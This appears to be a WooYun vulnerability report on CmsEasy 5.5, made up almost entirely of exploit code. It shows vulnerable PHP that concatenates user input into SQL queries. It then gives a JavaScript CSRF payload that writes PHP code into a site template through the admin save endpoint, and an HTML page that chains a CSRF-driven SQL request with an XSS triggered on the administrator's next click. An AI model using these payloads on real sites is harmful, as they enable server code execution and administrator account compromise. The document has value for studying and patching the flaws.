WooYun.org

if($do == 'add' and $username != '')
{
	$password = addslashes($_REQUEST['password']);
	$password = md5($password);
	$realname = addslashes($_REQUEST['realname']);
	$timestamp = time();
	$level = addslashes($_REQUEST['level']);
    $departmentid = intval($_REQUEST['departmentid']);
	$sql = "SELECT `id` FROM `".$config['prefix']."operators` WHERE `username`='".$username."' AND `password`='".$password."'";
	@$result = $db->my_fetch_array($sql);
	if(count($result) == 0) {
	
	$sql = "INSERT INTO `operators` (`username`,`password`,`firstname`,`level`,`timestamp`,`departmentid`) VALUES('".$username."','".$password."','".$realname."','".$level."','".$timestamp."','$departmentid')";
	$db->query($sql);
	}
}

function ajax(){
				var request = false;
				if(window.XMLHttpRequest) {
					request = new XMLHttpRequest();
				} else if(window.ActiveXObject) {
					var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
					for(var i=0; i<versions.length; i++) {
						try {
							request = new ActiveXObject(versions[i]);			 
						} catch(e) {}			  
					}			  
				}			  
				return request;			  
			}
			var _x = ajax();			  
			postgo();
			function postgo() {			  
				src="http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=template&act=save&admin_dir=admin&site=default";
				data="sid=wap_d_footer_html&slen=1996&scontent=%3C%3Fphp%20phpinfo()%3F%3E%0A%3Cdiv+id%3D%22footer%22%3E%0A%3Cdiv+class%3D%22box%22%3E%0A%3Cp%3E%C2%A9%C2%A0%3Ca+title%3D%22%7Bget('sitename')%7D%22+href%3D%22%7B%24base_url%7D%2Fwap%22%3E%7Bget('sitename')%7D%3C%2Fa%3E+All+Rights+Reserved.+%3C%2Fp%3E%0A%3Cp+class%3D%22address%22%3E%7Bget(address)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22tel%22%3E%7Bget(tel)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22email%22%3E%3Ca+href%3D%22index.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22%3E%7Blang(feedback)%7D%3C%2Fa%3E%3C%2Fp%3E%0A%3Cp%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%22+title%3D%22CmsEasy%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%B3%BB%E7%BB%9F%22+target%3D%22_blank%22%3ECmsEasy%3C%2Fa%3E%3C%2Fp%3E%0A%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cdiv+class%3D%22footer%22+id%3D%22box_footerBody%22%3E%0A++++++++%3Cdiv+class%3D%22footer_body%22%3E%0A++++++++++++%3Cul+class%3D%22footer_ul%22%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22tel%3A%7Bget(site_mobile)%7D%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+f_tel%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(tel)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Demail%26t%3Dwap%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+mail%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(email)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dmap%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+map%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(map)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dshare%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+share%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(share)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22+class%3D%22border_none%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+massage%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(guestbook)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E";
				xhr_act("POST",src,data);			  
			}			  
			function xhr_act(_m,_s,_a){
				_x.open(_m,_s,false);				
				cookie = document.cookie;
				if(_m=="POST"){
					_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
					_x.setRequestHeader("Cookie",cookie);
				}			  
				_x.send(_a);			  
				return _x.responseText;			 
			}

<html>
  <body>
    <script>
	   function csrf_sql(){
			var xhr = new XMLHttpRequest();
			xhr.open("POST", "sql的url这里可以是get的也可以是post的", true);
			xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927");
			xhr.withCredentials = "true";
			var body = "post的数据";
			var aBody = new Uint8Array(body.length);
			for (var i = 0; i < aBody.length; i++)
			  aBody[i] = body.charCodeAt(i);
			xhr.send(new Blob([aBody]));
	   }
	   
	   function run_xss(){
			var url= "另外一个地方可以看到的xss页面的url";
			document.write('<a id="openWin" href="'+url+'"></a>');
			window.onclick=function(){
				document.getElementById('openWin').click(); 
			}
	   }
	  
	   function sleep(n){
			var start=new Date().getTime();
			while(true) if(new Date().getTime()-start>n) break;
	   }
	   csrf_sql();
	   sleep(3000);//让这个页面卡一点，所以当三秒钟过后 当前页面就会被绑定一个鼠标点击动作，而管理员肯定会操作鼠标，这样就触发了我们的xss
	   run_xss();
    </script>
  </body>
</html>